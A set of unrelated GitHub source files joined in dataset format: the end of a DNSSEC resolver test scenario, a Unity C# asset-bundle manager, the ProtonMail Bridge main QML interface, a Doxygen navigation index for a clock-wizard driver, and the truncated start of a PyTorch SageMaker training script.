*.example.com. IN NSEC zzz.example.com. CNAME RRSIG NSEC
*.example.com. 3600 IN RRSIG NSEC 3 2 3600 20070926134150 20070829134150 2854 example.com. AJxl2TXciyhbKqSakVNtjlt8Bbkco02zpl5RlY88iqVmSa6ts+/guU4= ;{id = 2854}
zzz.example.com. IN NSEC *.zzz.example.com. A RRSIG NSEC
zzz.example.com. 3600 IN RRSIG NSEC 3 3 3600 20070926134150 20070829134150 2854 example.com. ACtgx/h0YfGEK79zg4G16jB/0oRWH0nxrMzUc/4hCY3oprsP8DrdjqU= ;{id = 2854}
example.com. IN SOA alfa.ns.example.com.cz. hostmaster.example.com. 2010030800 10800 86400 604800 86400
example.com. 3600 IN RRSIG SOA 3 2 3600 20070926134150 20070829134150 2854 example.com. ADsxLOHjxFzwFmwIiGOubqD9nKWAp4RccRIXQ0+EAUGfSDZMCB0ZiFA= ;{id = 2854}
SECTION ADDITIONAL
ENTRY_END
ENTRY_BEGIN
MATCH opcode qtype qname
ADJUST copy_id
REPLY QR AA NOERROR
SECTION QUESTION
zzz.example.com. IN DS
SECTION ANSWER
SECTION AUTHORITY
zzz.example.com. IN NSEC *.zzz.example.com. A RRSIG NSEC
zzz.example.com. 3600 IN RRSIG NSEC 3 3 3600 20070926134150 20070829134150 2854 example.com. ACtgx/h0YfGEK79zg4G16jB/0oRWH0nxrMzUc/4hCY3oprsP8DrdjqU= ;{id = 2854}
example.com. IN SOA alfa.ns.example.com.cz. hostmaster.example.com. 2010030800 10800 86400 604800 86400
example.com. 3600 IN RRSIG SOA 3 2 3600 20070926134150 20070829134150 2854 example.com. ADsxLOHjxFzwFmwIiGOubqD9nKWAp4RccRIXQ0+EAUGfSDZMCB0ZiFA= ;{id = 2854}
SECTION ADDITIONAL
ENTRY_END
RANGE_END
STEP 1 QUERY
ENTRY_BEGIN
REPLY RD DO
SECTION QUESTION
www.example.com. IN A
ENTRY_END
; recursion happens here.
STEP 10 CHECK_ANSWER
ENTRY_BEGIN
MATCH all
REPLY QR RD RA DO SERVFAIL
SECTION QUESTION
www.example.com. IN A
SECTION ANSWER
ENTRY_END
SCENARIO_END
|
{
"pile_set_name": "Github"
}
|
using UnityEditor;
using UnityEngine;
using System.IO;
using System.Collections.Generic;
namespace BundleManager
{
public static class BundleDataManager
{
public static BundleData GetBundleData(string name)
{
BundleData ret = null;
m_dataDict.TryGetValue(name, out ret);
return ret;
}
public static BundleState GetBundleState(string name)
{
BundleState ret = null;
m_stateDict.TryGetValue(name, out ret);
return ret;
}
public static bool CreateNewBundle(string name, string parent, BundleType type, BundleLoadState loadState)
{
if (m_dataDict.ContainsKey(name))
{
return false;
}
BundleData newBundle = new BundleData();
newBundle.name = name;
newBundle.type = type;
newBundle.loadState = loadState;
if (!string.IsNullOrEmpty(parent))
{
if (!m_dataDict.ContainsKey(parent))
{
return false;
}
else
{
m_dataDict[parent].children.Add(name);
}
newBundle.parent = parent;
}
m_dataDict.Add(name, newBundle);
BundleDataAccessor.Datas.Add(newBundle);
BundleState newState = new BundleState();
newState.bundleID = name;
newState.version = 1;
m_stateDict.Add(name, newState);
BundleDataAccessor.States.Add(newState);
return true;
}
public static bool CanBundleParentTo(string child, string newParent)
{
if (child == newParent)
{
return false;
}
if (string.IsNullOrEmpty(newParent))
{
return true;
}
if (!m_dataDict.ContainsKey(child) || !m_dataDict.ContainsKey(newParent))
{
return false;
}
string tarParent = m_dataDict[newParent].parent;
while (m_dataDict.ContainsKey(tarParent))
{
if (tarParent == child)
return false;
tarParent = m_dataDict[tarParent].parent;
}
return true;
}
public static bool SetParent(string child, string newParent)
{
if (!CanBundleParentTo(child, newParent))
{
return false;
}
BundleData childBundle = m_dataDict[child];
if (m_dataDict.ContainsKey(childBundle.parent))
{
m_dataDict[childBundle.parent].children.Remove(child);
}
childBundle.parent = newParent;
if (!string.IsNullOrEmpty(newParent))
{
BundleData newParentBundle = m_dataDict[newParent];
newParentBundle.children.Add(child);
newParentBundle.children.Sort();
}
return true;
}
public static bool CanAddPathToBundle(string path, string bundleName)
{
if (!File.Exists(path))
{
return false;
}
string guid = GetPathGUID(path);
if (m_guidToBundle.ContainsKey(guid))
{
return false;
}
if (!m_dataDict.ContainsKey(bundleName))
{
return false;
}
return true;
}
public static bool AddPathToBundle(string path, string bundleName, int size)
{
if (!CanAddPathToBundle(path, bundleName))
{
return false;
}
BundleData bundle = m_dataDict[bundleName];
string guid = GetPathGUID(path);
bundle.includs.Add(path);
m_guidToBundle.Add(guid, bundleName);
bundle.size += size;
return true;
}
public static void RemovePathFromBundle(string path, string bundleName)
{
BundleData bundle = GetBundleData(bundleName);
if (bundle == null)
{
return;
}
string guid = GetPathGUID(path);
if (m_guidToBundle.ContainsKey(guid))
{
m_guidToBundle.Remove(path);
}
for (int i = 0; i < bundle.includs.Count; ++i)
{
string nGuid = GetPathGUID(bundle.includs[i]);
if (nGuid == guid)
{
bundle.includs.RemoveAt(i);
break;
}
}
}
public static bool RemoveBundle(string bundleName)
{
BundleData bundle = GetBundleData(bundleName);
if (bundle == null)
{
return false;
}
BundleDataAccessor.Datas.Remove(bundle);
m_dataDict.Remove(bundleName);
BundleDataAccessor.States.Remove(m_stateDict[bundleName]);
m_stateDict.Remove(bundleName);
if (!string.IsNullOrEmpty(bundle.parent) && m_dataDict.ContainsKey(bundle.parent))
{
m_dataDict[bundle.parent].children.Remove(bundleName);
}
for (int i = 0; i < bundle.includs.Count; ++i)
{
string nGuid = GetPathGUID(bundle.includs[i]);
m_guidToBundle.Remove(nGuid);
}
return true;
}
public static void RemoveAllBundle()
{
BundleDataAccessor.Datas.Clear();
BundleDataAccessor.States.Clear();
Clear();
BundleDataAccessor.SaveData();
}
public static string GetIndexBundleName(int index)
{
return "Index_" + index.ToString();
}
public static List<object> GetIndexBundleList(int index)
{
List<object> list = new List<object>();
string parentBundleName = GetIndexBundleName(index);
BundleData bundleData = GetBundleData(parentBundleName);
if (bundleData == null)
{
return list;
}
for (int i = 0; i < bundleData.children.Count; ++i)
{
BundleData child = GetBundleData(bundleData.children[i]);
if (child != null)
{
list.Add(child);
}
}
return list;
}
public static string GenBundleNameByType(BundleType type)
{
if (!m_typeCount.ContainsKey(type))
{
m_typeCount.Add(type, 1);
}
else
{
++m_typeCount[type];
}
return string.Format("{0}_{1}", type, m_typeCount[type] - 1);
}
public static string GetPathBundleName(string assetPath)
{
string guid = GetPathGUID(assetPath);
string ret = string.Empty;
if (m_guidToBundle.TryGetValue(guid, out ret))
{
return ret;
}
return string.Empty;
}
public static string GetPathGUID(string path)
{
if (path.StartsWith("Assets/", System.StringComparison.OrdinalIgnoreCase))
{
return AssetDatabase.AssetPathToGUID(path);
}
return path;
}
public static bool CheckPathInBundle(string path)
{
string guid = GetPathGUID(path);
return m_guidToBundle.ContainsKey(guid);
}
public static bool IsBundleFull(BundleData bundle, int maxCount, int memSize)
{
if (memSize > 0 && bundle.size > memSize)
return true;
if (maxCount > 0 && bundle.includs.Count >= maxCount)
return true;
return false;
}
public static bool IsNameDuplicatedAsset(BundleData bundle, string newAsset)
{
string newName = Path.GetFileNameWithoutExtension(newAsset).ToUpperInvariant();
foreach (string path in bundle.includs)
{
string file = Path.GetFileNameWithoutExtension(path).ToUpperInvariant();
if (file == newName)
return true;
}
return false;
}
public static void Init()
{
BundleDataAccessor.Refresh();
Clear();
foreach (BundleState bundleState in BundleDataAccessor.States)
{
if (!m_stateDict.ContainsKey(bundleState.bundleID))
{
m_stateDict.Add(bundleState.bundleID, bundleState);
}
else
{
Debug.LogError("[BundleDataManager] Bundle State Conflict " + bundleState.bundleID);
}
}
foreach (BundleData bundleData in BundleDataAccessor.Datas)
{
if (!m_dataDict.ContainsKey(bundleData.name))
{
m_dataDict.Add(bundleData.name, bundleData);
}
else
{
Debug.LogError("[BundleDataManager] Bundle Data Conflict " + bundleData.name);
}
BundleType type = bundleData.type;
if (!m_typeCount.ContainsKey(type))
{
m_typeCount.Add(type, 1);
}
else
{
++m_typeCount[type];
}
for (int i = 0; i < bundleData.includs.Count; ++i)
{
string guid = GetPathGUID(bundleData.includs[i]);
if (!m_guidToBundle.ContainsKey(guid))
{
m_guidToBundle.Add(guid, bundleData.name);
}
else
{
Debug.LogError("[BundleDataManager] Include Path Conflict " + bundleData.includs[i]);
}
}
}
}
private static void Clear()
{
m_typeCount.Clear();
m_guidToBundle.Clear();
m_dataDict.Clear();
m_stateDict.Clear();
}
private static Dictionary<BundleType, int> m_typeCount = new Dictionary<BundleType, int>();
private static Dictionary<string, string> m_guidToBundle = new Dictionary<string, string>();
private static Dictionary<string, BundleData> m_dataDict = new Dictionary<string, BundleData>();
private static Dictionary<string, BundleState> m_stateDict = new Dictionary<string, BundleState>();
}
}
|
{
"pile_set_name": "Github"
}
|
// Copyright (c) 2020 Proton Technologies AG
//
// This file is part of ProtonMail Bridge.
//
// ProtonMail Bridge is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// ProtonMail Bridge is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with ProtonMail Bridge. If not, see <https://www.gnu.org/licenses/>.
// This is main qml file
import QtQuick 2.8
import BridgeUI 1.0
import ProtonUI 1.0
// All imports from dynamic must be loaded before
import QtQuick.Window 2.2
import QtQuick.Controls 2.1
import QtQuick.Layouts 1.3
Item {
id: gui
property MainWindow winMain
property bool isFirstWindow: true
property int warningFlags: 0
InfoWindow { id: infoWin }
OutgoingNoEncPopup { id: outgoingNoEncPopup }
BugReportWindow {
id: bugreportWin
clientVersion.visible : true
// pre-fill the form
onPrefill : {
userAddress.text=""
if (accountsModel.count>0) {
var addressList = accountsModel.get(0).aliases.split(";")
if (addressList.length>0) {
userAddress.text = addressList[0]
}
}
clientVersion.text=go.getLastMailClient()
}
}
onWarningFlagsChanged : {
if (gui.warningFlags==Style.okInfoBar) {
go.normalSystray()
} else {
if ((gui.warningFlags & Style.errorInfoBar) == Style.errorInfoBar) {
go.errorSystray()
} else {
go.highlightSystray()
}
}
}
// Signals from Go
Connections {
target: go
onShowWindow : {
gui.openMainWindow()
}
onShowHelp : {
gui.openMainWindow(false)
winMain.tabbar.currentIndex = 2
winMain.showAndRise()
}
onShowQuit : {
gui.openMainWindow(false)
winMain.dialogGlobal.state="quit"
winMain.dialogGlobal.show()
winMain.showAndRise()
}
onProcessFinished : {
winMain.dialogGlobal.hide()
winMain.dialogAddUser.hide()
winMain.dialogChangePort.hide()
infoWin.hide()
}
onOpenManual : Qt.openUrlExternally("http://protonmail.com/bridge")
onNotifyBubble : {
gui.showBubble(tabIndex, message, true)
}
onSilentBubble : {
gui.showBubble(tabIndex, message, false)
}
onBubbleClosed : {
gui.warningFlags &= ~Style.warnBubbleMessage
}
onSetConnectionStatus: {
go.isConnectionOK = isAvailable
gui.openMainWindow(false)
if (go.isConnectionOK) {
if( winMain.updateState=="noInternet") {
go.setUpdateState("upToDate")
}
} else {
go.setUpdateState("noInternet")
}
}
onRunCheckVersion : {
gui.openMainWindow(false)
go.setUpdateState("upToDate")
winMain.dialogGlobal.state="checkUpdates"
winMain.dialogGlobal.show()
go.isNewVersionAvailable(showMessage)
}
onSetUpdateState : {
// once app is outdated prevent from state change
if (winMain.updateState != "forceUpdate") {
winMain.updateState = updateState
}
}
onSetAddAccountWarning : winMain.dialogAddUser.setWarning(message, 0)
onNotifyVersionIsTheLatest : {
go.silentBubble(2,qsTr("You have the latest version!", "notification", -1))
}
onNotifyUpdate : {
go.setUpdateState("forceUpdate")
if (!winMain.dialogUpdate.visible) {
gui.openMainWindow(true)
go.runCheckVersion(false)
winMain.dialogUpdate.show()
}
}
onNotifyLogout : {
go.notifyBubble(0, qsTr("Account %1 has been disconnected. Please log in to continue to use the Bridge with this account.").arg(accname) )
}
onNotifyAddressChanged : {
go.notifyBubble(0, qsTr("The address list has been changed for account %1. You may need to reconfigure the settings in your email client.").arg(accname) )
}
onNotifyAddressChangedLogout : {
go.notifyBubble(0, qsTr("The address list has been changed for account %1. You have to reconfigure the settings in your email client.").arg(accname) )
}
onNotifyPortIssue : { // busyPortIMAP , busyPortSMTP
if (!busyPortIMAP && !busyPortSMTP) { // at least one must have issues to show warning
return
}
gui.openMainWindow(false)
winMain.tabbar.currentIndex=1
go.isDefaultPort = false
var text
if (busyPortIMAP && busyPortSMTP) { // both have problems
text = qsTr("The default ports used by Bridge for IMAP (%1) and SMTP (%2) are occupied by one or more other applications." , "the first part of notification text (two ports)").arg(go.getIMAPPort()).arg(go.getSMTPPort())
text += " "
text += qsTr("To change the ports for these servers, go to Settings -> Advanced Settings.", "the second part of notification text (two ports)")
} else { // only one is occupied
var server, port
if (busyPortSMTP) {
server = "SMTP"
port = go.getSMTPPort()
} else {
server = "IMAP"
port = go.getIMAPPort()
}
text = qsTr("The default port used by Bridge for %1 (%2) is occupied by another application.", "the first part of notification text (one port)").arg(server).arg(port)
text += " "
text += qsTr("To change the port for this server, go to Settings -> Advanced Settings.", "the second part of notification text (one port)")
}
go.notifyBubble(1, text )
}
onNotifyKeychainRebuild : {
go.notifyBubble(1, qsTr(
"Your MacOS keychain is probably corrupted. Please consult the instructions in our <a href=\"https://protonmail.com/bridge/faq#c15\">FAQ</a>.",
"notification message"
))
}
onNotifyHasNoKeychain : {
gui.winMain.dialogGlobal.state="noKeychain"
gui.winMain.dialogGlobal.show()
}
onShowNoActiveKeyForRecipient : {
go.notifyBubble(0, qsTr(
"Key pinning is enabled for %1 but no active key is pinned. " +
"You must pin the key in order to send a message to this address. " +
"You can find instructions " +
"<a href=\"https://protonmail.com/support/knowledge-base/key-pinning/\">here</a>."
).arg(recipient))
}
onFailedAutostartCode : {
gui.openMainWindow(true)
switch (code) {
case "permission" : // linux+darwin
case "85070005" : // windows
go.notifyBubble(1, go.failedAutostartPerm)
break
case "81004003" : // windows
go.notifyBubble(1, go.failedAutostart+" "+qsTr("Can not create instance.", "for autostart"))
break
case "" :
default :
go.notifyBubble(1, go.failedAutostart)
}
}
onShowOutgoingNoEncPopup : {
outgoingNoEncPopup.show(messageID, subject)
}
onSetOutgoingNoEncPopupCoord : {
outgoingNoEncPopup.x = x
outgoingNoEncPopup.y = y
}
onUpdateFinished : {
winMain.dialogUpdate.finished(hasError)
}
onShowCertIssue : {
winMain.tlsBarState="notOK"
}
onShowIMAPCertTroubleshoot : {
go.notifyBubble(1, qsTr(
"Bridge was unable to establish a connection with your Email client. <br> <a href=\"https://protonmail.com/support/knowledge-base/bridge-ssl-connection-issue\">Learn more</a> <br>",
"notification message"
))
}
}
Timer {
id: checkVersionTimer
repeat : true
triggeredOnStart: false
interval : Style.main.verCheckRepeatTime
onTriggered : go.runCheckVersion(false)
}
function openMainWindow(showAndRise) {
// wait and check until font is loaded
while(true){
if (Style.fontawesome.status == FontLoader.Loading) continue
if (Style.fontawesome.status != FontLoader.Ready) console.log("Error while loading font")
break
}
if (typeof(showAndRise)==='undefined') {
showAndRise = true
}
if (gui.winMain == null) {
gui.winMain = Qt.createQmlObject(
'import BridgeUI 1.0; MainWindow {visible : false}',
gui, "winMain"
)
}
if (showAndRise) {
gui.winMain.showAndRise()
}
}
function closeMainWindow () {
gui.winMain.hide()
gui.winMain.destroy(5000)
gui.winMain = null
gui.isFirstWindow = false
}
function showBubble(tabIndex, message, isWarning) {
gui.openMainWindow(true)
if (isWarning) {
gui.warningFlags |= Style.warnBubbleMessage
}
winMain.bubbleNote.text = message
winMain.bubbleNote.place(tabIndex)
winMain.bubbleNote.show()
}
// On start
Component.onCompleted : {
// set messages for translations
go.wrongCredentials = qsTr("Incorrect username or password." , "notification", -1)
go.wrongMailboxPassword = qsTr("Incorrect mailbox password." , "notification", -1)
go.canNotReachAPI = qsTr("Cannot contact server, please check your internet connection." , "notification", -1)
go.versionCheckFailed = qsTr("Version check was unsuccessful. Please try again later." , "notification", -1)
go.credentialsNotRemoved = qsTr("Credentials could not be removed." , "notification", -1)
go.failedAutostartPerm = qsTr("Unable to configure automatic start due to permissions settings - see <a href=\"https://protonmail.com/bridge/faq#c11\">FAQ</a> for details.", "notification", -1)
go.failedAutostart = qsTr("Unable to configure automatic start." , "notification", -1)
go.genericErrSeeLogs = qsTr("An error happened during procedure. See logs for more details." , "notification", -1)
// start window
gui.openMainWindow(false)
checkVersionTimer.start()
if (go.isShownOnStart) {
gui.winMain.showAndRise()
}
go.runCheckVersion(false)
if (go.isFreshVersion) {
go.getLocalVersionInfo()
gui.winMain.dialogVersionInfo.show()
}
}
}
|
{
"pile_set_name": "Github"
}
|
var NAVTREEINDEX0 =
{
"annotated.html":[0,0],
"example.html":[3],
"example.html#ex1":[3,0],
"files.html":[2],
"functions.html":[0,1,0],
"functions_vars.html":[0,1,1],
"globals.html":[1,0],
"globals_defs.html":[1,3],
"globals_func.html":[1,1],
"globals_type.html":[1,2],
"index.html":[],
"pages.html":[],
"xclk__wiz_8c.html":[2,0],
"xclk__wiz_8c.html#ga3ad6007a242ec441ccb612d7ff2050c0":[2,0,1],
"xclk__wiz_8c.html#ga96e21929b605502ed7b693c0a2132b4e":[2,0,0],
"xclk__wiz_8c.html#gadaf78e2da6e9c9dc9bd7a86f97d6b79e":[2,0,2],
"xclk__wiz_8h.html":[2,1],
"xclk__wiz_8h.html#ga3ad6007a242ec441ccb612d7ff2050c0":[2,1,2],
"xclk__wiz_8h.html#ga57d65e65942c50b405b79dacf4704339":[2,1,4],
"xclk__wiz_8h.html#ga862887391d91e336afb089947d1eea22":[2,1,3],
"xclk__wiz_8h.html#ga96bd226f11dc053a8db6732c1c0e2001":[2,1,0],
"xclk__wiz_8h.html#ga96e21929b605502ed7b693c0a2132b4e":[2,1,1],
"xclk__wiz_8h.html#gadaf78e2da6e9c9dc9bd7a86f97d6b79e":[2,1,5],
"xclk__wiz__hw_8h.html":[2,2],
"xclk__wiz__hw_8h.html#ga0119267bfa918f08ca0a11de0951b2ab":[2,2,8],
"xclk__wiz__hw_8h.html#ga057dc5e6b87b7ba9333ec0e44ac40c9a":[2,2,18],
"xclk__wiz__hw_8h.html#ga0914e2de55970b885f8c50667b85c8f3":[2,2,66],
"xclk__wiz__hw_8h.html#ga0a23825d334858f643dd8bdeeac557c8":[2,2,22],
"xclk__wiz__hw_8h.html#ga0df64f19a3ed2d4a49889b9ca8bfbb3a":[2,2,30],
"xclk__wiz__hw_8h.html#ga0e335ce1a067f54477c247e74a4dbc3d":[2,2,84],
"xclk__wiz__hw_8h.html#ga0e663b1df0fb873cbbe96967b980426b":[2,2,24],
"xclk__wiz__hw_8h.html#ga0f168b5c26d91d8aa5c92d7a4e922631":[2,2,48],
"xclk__wiz__hw_8h.html#ga125707922533b9049f08dd26271519d5":[2,2,10],
"xclk__wiz__hw_8h.html#ga142028c206e507df8633d0b91b0ef273":[2,2,78],
"xclk__wiz__hw_8h.html#ga163b2686ce7e37b98fc9d510a95febdb":[2,2,69],
"xclk__wiz__hw_8h.html#ga176e2701427376ad264054f9abd3f1ba":[2,2,52],
"xclk__wiz__hw_8h.html#ga18e65431f48acae3734420b5f3ffa490":[2,2,5],
"xclk__wiz__hw_8h.html#ga19877011447febc4438bc39978270229":[2,2,15],
"xclk__wiz__hw_8h.html#ga1ca586bbfdafb1acb2ce1fd97a4902b1":[2,2,31],
"xclk__wiz__hw_8h.html#ga1f63ddcc1041b05a1da8790ce88064b2":[2,2,6],
"xclk__wiz__hw_8h.html#ga2073518a02f6716b33fd721eed2740b5":[2,2,35],
"xclk__wiz__hw_8h.html#ga24b899afdcc87e9a2c97eabe52fb610c":[2,2,61],
"xclk__wiz__hw_8h.html#ga26c3e66c06696502f24f013c0da90e55":[2,2,3],
"xclk__wiz__hw_8h.html#ga2872e30e84d68905c43bd7806cc83fa0":[2,2,13],
"xclk__wiz__hw_8h.html#ga29f231a7715e94baec2277b768f5f1a5":[2,2,47],
"xclk__wiz__hw_8h.html#ga2ce6c2a6375c78f8b9923d2330941dae":[2,2,83],
"xclk__wiz__hw_8h.html#ga2cfaf083bfc11e4d527262c6dfe0c24e":[2,2,59],
"xclk__wiz__hw_8h.html#ga32f362272205283dba350e23e7222a3a":[2,2,32],
"xclk__wiz__hw_8h.html#ga37ecc718da5a33c16329f6f6d1967e4e":[2,2,45],
"xclk__wiz__hw_8h.html#ga44438e619f42b96ccc021a1c3063f6b8":[2,2,21],
"xclk__wiz__hw_8h.html#ga4d719247c9dfed11e36dfacb58f25fb8":[2,2,62],
"xclk__wiz__hw_8h.html#ga4e61a8e24258a5c6eed44bb975b681a6":[2,2,9],
"xclk__wiz__hw_8h.html#ga546bf7c1903e83e52e69fbaa1d603343":[2,2,72],
"xclk__wiz__hw_8h.html#ga54bfc49d1a188b798cb96cfd40a0dc54":[2,2,77],
"xclk__wiz__hw_8h.html#ga5528da0dd2acef0622e92b42cde63b30":[2,2,33],
"xclk__wiz__hw_8h.html#ga5634a366b8ced209061e028c163fddd5":[2,2,65],
"xclk__wiz__hw_8h.html#ga5b78de754a5a563c46cc4364b9698488":[2,2,0],
"xclk__wiz__hw_8h.html#ga5e762fe87dddbe8ac453306748a216f5":[2,2,43],
"xclk__wiz__hw_8h.html#ga5f70d46d84d4629688388134ebc3dca6":[2,2,68],
"xclk__wiz__hw_8h.html#ga6a11cf2b70a1598342cde6ad50577ec9":[2,2,71],
"xclk__wiz__hw_8h.html#ga6cd50be9be9ce6dda280b3200d73c236":[2,2,50],
"xclk__wiz__hw_8h.html#ga7152a10657a3caeef169c0be28087362":[2,2,55],
"xclk__wiz__hw_8h.html#ga737f9a73cb6f0fe8402585a70f35492c":[2,2,46],
"xclk__wiz__hw_8h.html#ga757264554263d3e4035a7433e43ade17":[2,2,40],
"xclk__wiz__hw_8h.html#ga7b6a6f0f1fda56cdb7b97a293e9ee72e":[2,2,74],
"xclk__wiz__hw_8h.html#ga7bb1dd7a981035a3aa91248e00ae98ad":[2,2,37],
"xclk__wiz__hw_8h.html#ga8162c60bfa65bf8e6856f4ab94845337":[2,2,80],
"xclk__wiz__hw_8h.html#ga82daa29abf414a316c26355e3771cf88":[2,2,76],
"xclk__wiz__hw_8h.html#ga834ed8f9541edc0c5be94ca0de404f87":[2,2,51],
"xclk__wiz__hw_8h.html#ga868aa5dd6399404298d686e73a44a565":[2,2,73],
"xclk__wiz__hw_8h.html#ga8c45e5d3fad76bf173750242c885e3d4":[2,2,16],
"xclk__wiz__hw_8h.html#ga8e1db287d69d02c673140eae664c1a34":[2,2,39],
"xclk__wiz__hw_8h.html#ga8e3dd7df0cf46c203cab6d190c9e4cd9":[2,2,53],
"xclk__wiz__hw_8h.html#ga8e862f52dce0734899a9b851b0b59b7e":[2,2,19],
"xclk__wiz__hw_8h.html#ga901c3adb5465cdf153c4b0d1a51e3bd9":[2,2,81],
"xclk__wiz__hw_8h.html#ga92d4bacb8f557d499888a14e1c48b3c9":[2,2,82],
"xclk__wiz__hw_8h.html#ga9429606a7f041a1c7995a01b3b16c83f":[2,2,11],
"xclk__wiz__hw_8h.html#ga991df75896a6505b7d17031df5216319":[2,2,44],
"xclk__wiz__hw_8h.html#ga9a3354cec0d629d0ed3c26d28bbd1994":[2,2,67],
"xclk__wiz__hw_8h.html#ga9c0c8a7ada27a0cfba39c0f3aa922c7d":[2,2,85],
"xclk__wiz__hw_8h.html#ga9cfc8a66cb70f62b8546fb4b9a448d50":[2,2,75],
"xclk__wiz__hw_8h.html#ga9d7b6317ea1bc997bac64ff903f253b8":[2,2,27],
"xclk__wiz__hw_8h.html#gaa19f2cd1e19eefbe675b2ca7433a6594":[2,2,36],
"xclk__wiz__hw_8h.html#gaa28febc03c84cdbbffc5ea57e4124fe7":[2,2,42],
"xclk__wiz__hw_8h.html#gaa29a0866b87ef2332a9e8076676e4e11":[2,2,28],
"xclk__wiz__hw_8h.html#gaa454fd2cfc7ed730c52b747b72de71ef":[2,2,4],
"xclk__wiz__hw_8h.html#gaa79abe7629e383c5d83f09ab640a7267":[2,2,57],
"xclk__wiz__hw_8h.html#gaab5f77647fad82a4c02eb29b8180f89b":[2,2,38],
"xclk__wiz__hw_8h.html#gaac99c7c36e58c2177e35f81ea3ce1c60":[2,2,23],
"xclk__wiz__hw_8h.html#gab79b4b574363916c1021f811376f1660":[2,2,56],
"xclk__wiz__hw_8h.html#gab7ecb70f6cf41fd44769722fdcf2a6a6":[2,2,63],
"xclk__wiz__hw_8h.html#gab8ed2bdc3136a5a915c0ff8902c93e6f":[2,2,34],
"xclk__wiz__hw_8h.html#gab9224e9f271c5ab6f75811dc297c10db":[2,2,17],
"xclk__wiz__hw_8h.html#gabb022733e8a876fee569991cb5c548f3":[2,2,14],
"xclk__wiz__hw_8h.html#gabb60b1ae1eb59840446df19b84379396":[2,2,25],
"xclk__wiz__hw_8h.html#gabe0932d7fe457fcf7530e782de0b1b08":[2,2,26],
"xclk__wiz__hw_8h.html#gabf7f48abd562e1b1389b86bb978f091e":[2,2,41],
"xclk__wiz__hw_8h.html#gac546d9f62ddcc7fc8584ef9de13d7bb9":[2,2,60],
"xclk__wiz__hw_8h.html#gac73712dd09ff0df8c1d71a53e4c826ce":[2,2,12],
"xclk__wiz__hw_8h.html#gac7482b3e0a5b624637346bee0811515d":[2,2,1],
"xclk__wiz__hw_8h.html#gac893b3b69a6950f520de28c97b80f149":[2,2,58],
"xclk__wiz__hw_8h.html#gad4ffc8a12873db9cdcb8e31c9bfdf923":[2,2,54],
"xclk__wiz__hw_8h.html#gad55c9367027a06417ae89436f7ba3b77":[2,2,7],
"xclk__wiz__hw_8h.html#gae49b1d691b76f209b89e751b7d091d43":[2,2,2],
"xclk__wiz__hw_8h.html#gaea0e4748f55d38744ca6f95ccd68a1ad":[2,2,20],
"xclk__wiz__hw_8h.html#gaf3a0cc16b3ad77228b11f05e11d6e733":[2,2,64],
"xclk__wiz__hw_8h.html#gaf702d2921c3b616066cfd2e76de620b2":[2,2,70],
"xclk__wiz__hw_8h.html#gafa257e031d2c60c9fdd568df2fa023d0":[2,2,79],
"xclk__wiz__hw_8h.html#gafbb37482481fd93ec9ab5253a0796fd7":[2,2,29],
"xclk__wiz__hw_8h.html#gafcb540ab2c83a559450ae71633258269":[2,2,49],
"xclk__wiz__intr_8c.html":[2,3],
"xclk__wiz__intr_8c.html#ga4f547fb0dce8abc367979e38081a5080":[2,3,2],
"xclk__wiz__intr_8c.html#ga57d65e65942c50b405b79dacf4704339":[2,3,6],
"xclk__wiz__intr_8c.html#gab48767fd035d10bd40cec167cdd7778d":[2,3,0],
"xclk__wiz__intr_8c.html#gab4d4ca4b2b5d036b0e0df621692135f6":[2,3,5],
"xclk__wiz__intr_8c.html#gab75c6d3b3e928e8cfcf136e93cdf20b2":[2,3,1],
"xclk__wiz__intr_8c.html#gad9cbda03df42d37371a19800efb6ec13":[2,3,3],
"xclk__wiz__intr_8c.html#gaf5850b23acf450ae86fcc514f052256e":[2,3,4],
"xclk__wiz__intr__example_8c.html":[2,4],
"xclk__wiz__intr__example_8c.html#a129f20100bd1ab7e3165219f38659e90":[2,4,1],
"xclk__wiz__intr__example_8c.html#a1fb9a1ea241c6aaff3831259bcc6448f":[2,4,4],
"xclk__wiz__intr__example_8c.html#a24a8c4f20358d67ba7512698e94ec60d":[2,4,3],
"xclk__wiz__intr__example_8c.html#aa33a11c5d5f2eae8e4ab36e0bdb6e38d":[2,4,7],
"xclk__wiz__intr__example_8c.html#aa93f4f357d4911b56121f95a2917cd1a":[2,4,5],
"xclk__wiz__intr__example_8c.html#aaf3c110063d937f1fbe69c0e299fe55d":[2,4,0],
"xclk__wiz__intr__example_8c.html#ab6b07f0022d7f609127ba69fcce3a6ca":[2,4,8],
"xclk__wiz__intr__example_8c.html#abf464e4d1be9b2b093b568d721920bb2":[2,4,2],
"xclk__wiz__intr__example_8c.html#ae66f6b31b5ad750f1fe042a706a4e3d4":[2,4,6],
"xclk__wiz__intr__example_8c.html#ga4f547fb0dce8abc367979e38081a5080":[2,4,9],
"xclk__wiz__intr__example_8c.html#gab4d4ca4b2b5d036b0e0df621692135f6":[2,4,10],
"xclk__wiz__sinit_8c.html":[2,5],
"xclk__wiz__sinit_8c.html#ga862887391d91e336afb089947d1eea22":[2,5,0],
"xclk__wiz__versal__example_8c.html":[2,6],
"xclk__wiz__versal__example_8c.html#a7ac72face0b386c645cdba25e6d99967":[2,6,2],
"xclk__wiz__versal__example_8c.html#ab29b199c8ec2cd0ed0fee03752826661":[2,6,0],
"xclk__wiz__versal__example_8c.html#ae66f6b31b5ad750f1fe042a706a4e3d4":[2,6,1]
};
|
{
"pile_set_name": "Github"
}
|
from __future__ import print_function, division
import argparse
import torch
import torch.nn as nn
import torch.optim as optim
from torchvision import datasets, models, transforms
import os
import smdebug.pytorch as smd
from smdebug import modes
from smdebug.core.modes import ModeKeys
from custom_hook import CustomHook
def get_dataloaders(batch_size_train, batch_size_val):
train_transform = transforms.Compose([
transforms.RandomResizedCrop(224),
transforms.RandomHorizontalFlip(),
transforms.ToTensor(),
transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])
])
val_transform = transforms.Compose([
transforms.Resize(256),
transforms.CenterCrop(224),
transforms.ToTensor(),
transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])
])
dataset = datasets.ImageFolder(os.environ['SM_CHANNEL_TRAIN'], train_transform)
train_dataloader = torch.utils.data.DataLoader(dataset,
batch_size=batch_size_train,
shuffle=True)
dataset = datasets.ImageFolder(os.environ['SM_CHANNEL_TEST'], val_transform)
val_dataloader = torch.utils.data.DataLoader( dataset,
